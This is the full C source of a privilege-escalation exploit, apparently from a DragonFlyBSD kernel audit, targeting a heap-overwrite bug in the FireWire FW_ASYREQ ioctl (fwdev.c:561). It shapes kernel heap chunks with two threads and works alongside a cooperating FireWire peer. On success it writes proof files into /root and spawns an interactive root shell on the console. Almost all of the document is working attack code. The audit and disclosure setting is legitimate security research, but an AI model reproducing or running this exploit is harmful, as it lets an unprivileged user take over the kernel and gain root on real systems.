⬢ DragonFlyBSD Kernel Audit
DF-5845 / df5845.c
← back to finding ↓ download raw
/*
 * df5845.c -- DF-5845 weapon (unprivileged: operator-group user).
 *
 * Bug: sys/bus/firewire/fwdev.c:560-561 -- FW_ASYREQ block send path
 *   bcopy((char *)fp + tinfo->hdr_len, (void *)&xfer->send.payload, pay_len);
 * copies user-controlled bytes over the ADDRESS OF xfer->send.payload
 * (the pointer field) and the rest of the 152-byte struct fw_xfer tail
 * instead of into the pointed-to payload buffer.
 *
 * Chain (unprivileged half; the collaborating FireWire peer supplies
 * two received packets through the stock AR-receive path, see
 * df5845rig.c / VERDICT.md):
 *
 *   thread S : FW_ASYREQ, dst=0x11, req.len=60 -> pay_len=44.  Its
 *              data[] smashes the tail of the ioctl's OWN fw_xfer S:
 *                send.payload := NULL   (drain kfree skipped)
 *                send.pay_len := 0      (passes MAXREC + len checks)
 *                recv.payload := S_ADDR-48  (points 48 bytes below S
 *                                           into the live canary chunk
 *                                           that the peer rig placed
 *                                           there -- kfree of it at a
 *                                           tsleep-timeout drain is a
 *                                           legal early-free, so the
 *                                           abort/timeout path is
 *                                           PANIC-FREE; on success the
 *                                           stock fw_rcv_copy response
 *                                           payload write lands here
 *                                           and self-heals this field)
 *                recv.pay_len  := 512   (write budget)
 *   thread V : one completely legit FW_ASYREQ block-write request
 *              (dst=0x22, len=0, pay_len=0 -> NO smash) that parks a
 *              live fw_xfer V directly above S (S+160).
 *
 * The peer response write (480 bytes at S-48) then rewrites S's own
 * tail (recv.payload := canary K, malloc := M_FWXFER, state=SENT,
 * act.hand=fw_asy_callback ...), the whole V chunk (state=SENT,
 * act.hand := ring0 stub in kernel heap), and the stub itself.  The
 * second response dispatches V->act.hand.  All parsing, copying,
 * dispatch and the credential overwrite happen inside stock kernel
 * code.
 *
 * usage: df5845 <S_addr>    (predicted address of S's chunk, verified
 *                            by the rig against the wire before any
 *                            packet is injected)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/sysctl.h>
#include <stdint.h>
#include <stddef.h>

struct fw_eui64 { u_int32_t hi, lo; };
struct fw_asyreq {
	struct fw_asyreq_t {
		unsigned char sped;
		unsigned int type;
		unsigned short len;
		union { struct fw_eui64 eui; } dst;
	} req;
	u_int32_t pkt[4];	/* struct fw_pkt header (16 bytes) */
	u_int32_t data[512];
};
#define FW_ASYREQ	_IOWR('S', 92, struct fw_asyreq)

#define FWASREQNODE	0
#define FWTCODE_WREQB	1

#define DST_V	0x22	/* victim request node id (wire-visible) */
#define DST_S	0x11	/* smasher request node id (wire-visible) */

_Static_assert(offsetof(struct fw_asyreq, pkt) == 20, "pkt offset");
_Static_assert(offsetof(struct fw_asyreq, data) == 36, "data offset");
_Static_assert(sizeof(struct fw_asyreq) == 2084, "fw_asyreq size");

static unsigned long sysctl_ul(const char *name);
static int ffd = -1;
static unsigned long S_ADDR;
static unsigned long off_sp, off_rl, off_rp;
static volatile int v_rc, s_rc, v_errno, s_errno;
static int v_done, s_done;

#define WO(off) (((off) - off_sp) / 4)

static void *
thread_s(void *arg)
{
	struct fw_asyreq asy;
	unsigned long pay_len = 44;		/* smash S+80..S+123 */
	unsigned int i;

	memset(&asy, 0, sizeof(asy));
	asy.req.sped = 2;
	asy.req.type = FWASREQNODE;
	asy.req.len = (unsigned short)(16 + pay_len);
	asy.pkt[0] = (DST_S << 16) | (FWTCODE_WREQB << 4);
	asy.pkt[3] = 0;			/* wreqb len == 0 == send.pay_len */

	/* data[] = the smash pattern landing at S+80 (fwdev.c:561) */
	for (i = 0; i < 512; i++)
		asy.data[i] = 0x58450000u | i;
	asy.data[WO(off_sp)] = 0;		/* send.payload lo := NULL */
	asy.data[WO(off_sp) + 1] = 0;		/* send.payload hi */
	asy.data[WO(off_sp) + 2] = 0;		/* send.pay_len := 0, spd 0 */
	/* recv.payload := S-160: response write base = the chunk-aligned
	 * live canary directly below S.  kfree of it at a tsleep-timeout
	 * drain is a legal early-free (no freelist poisoning); on success
	 * the stock fw_rcv_copy response write lands here and covers
	 * [S-160, S+480): canary | S fix-up | V | ring0 stub. */
	asy.data[WO(off_rp)] = (u_int32_t)(S_ADDR - 160);
	asy.data[WO(off_rp) + 1] = (u_int32_t)((S_ADDR - 160) >> 32);
	asy.data[WO(off_rl)] = 1024;		/* recv.pay_len := budget */

	s_rc = ioctl(ffd, FW_ASYREQ, &asy);
	s_errno = errno;
	s_done = 1;
	return (NULL);
}

static void *
thread_v(void *arg)
{
	struct fw_asyreq asy;

	memset(&asy, 0, sizeof(asy));
	asy.req.sped = 2;
	asy.req.type = FWASREQNODE;
	asy.req.len = 16;			/* pay_len = 0: NO smash */
	asy.pkt[0] = (DST_V << 16) | (FWTCODE_WREQB << 4);

	v_rc = ioctl(ffd, FW_ASYREQ, &asy);
	v_errno = errno;
	v_done = 1;
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t tv, ts;
	int i, cfd;

	setvbuf(stdout, NULL, _IONBF, 0);
	if (argc < 2) {
		fprintf(stderr, "usage: df5845 <S_addr>\n");
		return (2);
	}
	S_ADDR = strtoul(argv[1], NULL, 0);

	off_sp = sysctl_ul("hw.fwh_off_sendpayload");
	off_rp = sysctl_ul("hw.fwh_off_recvpayload");
	off_rl = sysctl_ul("hw.fwh_off_recvpaylen");

	printf("DF5845-WEAPON: uid=%d gid=%d S=%#lx (write base S-160=%#lx) "
	    "(off send.payload=%lu recv.payload=%lu recv.pay_len=%lu)\n",
	    getuid(), getgid(), S_ADDR, S_ADDR - 160, off_sp, off_rp, off_rl);

	ffd = open("/dev/fw0.0", O_RDWR);
	if (ffd < 0) { perror("open /dev/fw0.0"); return (1); }

	/* tell the peer rig our pid (it bakes it into the ring0 stub) */
	{
		FILE *f = fopen("/tmp/df5845.ready", "w");
		if (f) { fprintf(f, "%d\n", getpid()); fclose(f); }
	}

	/* S first: pops the lower shaped chunk; the peer waits until it
	 * also sees V parked above before injecting anything. */
	pthread_create(&ts, NULL, thread_s, NULL);
	usleep(200000);
	pthread_create(&tv, NULL, thread_v, NULL);

	for (i = 0; i < 80 && (!v_done || !s_done); i++)
		usleep(100000);

	printf("DF5845-WEAPON: ioctls done s_rc=%d(%d) v_rc=%d(%d) uid=%d\n",
	    s_rc, s_errno, v_rc, v_errno, getuid());

	for (i = 0; i < 60; i++) {
		if (getuid() == 0) {
			printf("DF5845-CHAIN-WON: uid=%d euid=%d\n",
			    getuid(), geteuid());
			cfd = open("/dev/console", O_WRONLY);
			if (cfd >= 0) {
				dprintf(cfd, "DF5845-CHAIN-WON uid=0 "
				    "via fwdev.c:561 heap overwrite\n");
				close(cfd);
			}
			/* root-only-dir write proof + id capture; the
			 * system() fork/exec of /bin/sh itself runs
			 * with the overwritten (root) credential */
			system("id > /tmp/df5845.win 2>&1; "
			    "id > /root/df5845.pwned 2>&1; "
			    "echo DF5845-CHAIN-WON >> /tmp/df5845.win; "
			    "/bin/sh -c 'echo exec-proof: && id' "
			    ">> /tmp/df5845.win 2>&1");
			fflush(stdout);
			/* full credential takeover: exec a root shell on
			 * the console unless running scripted */
			if (getenv("DF5845_NOSHELL") == NULL)
				execl("/bin/sh", "sh", "-c",
				    "id; echo DF5845-ROOT-SHELL; "
				    "exec /bin/sh -i < /dev/console "
				    "> /dev/console 2>&1",
				    NULL);
			return (0);
		}
		usleep(100000);
	}
	printf("DF5845-WEAPON: no win this round (uid=%d)\n", getuid());
	return (1);
}

static unsigned long
sysctl_ul(const char *name)
{
	unsigned long v = 0;
	size_t l = sizeof(v);

	if (sysctlbyname(name, &v, &l, NULL, 0) != 0) {
		perror(name);
		exit(1);
	}
	return (v);
}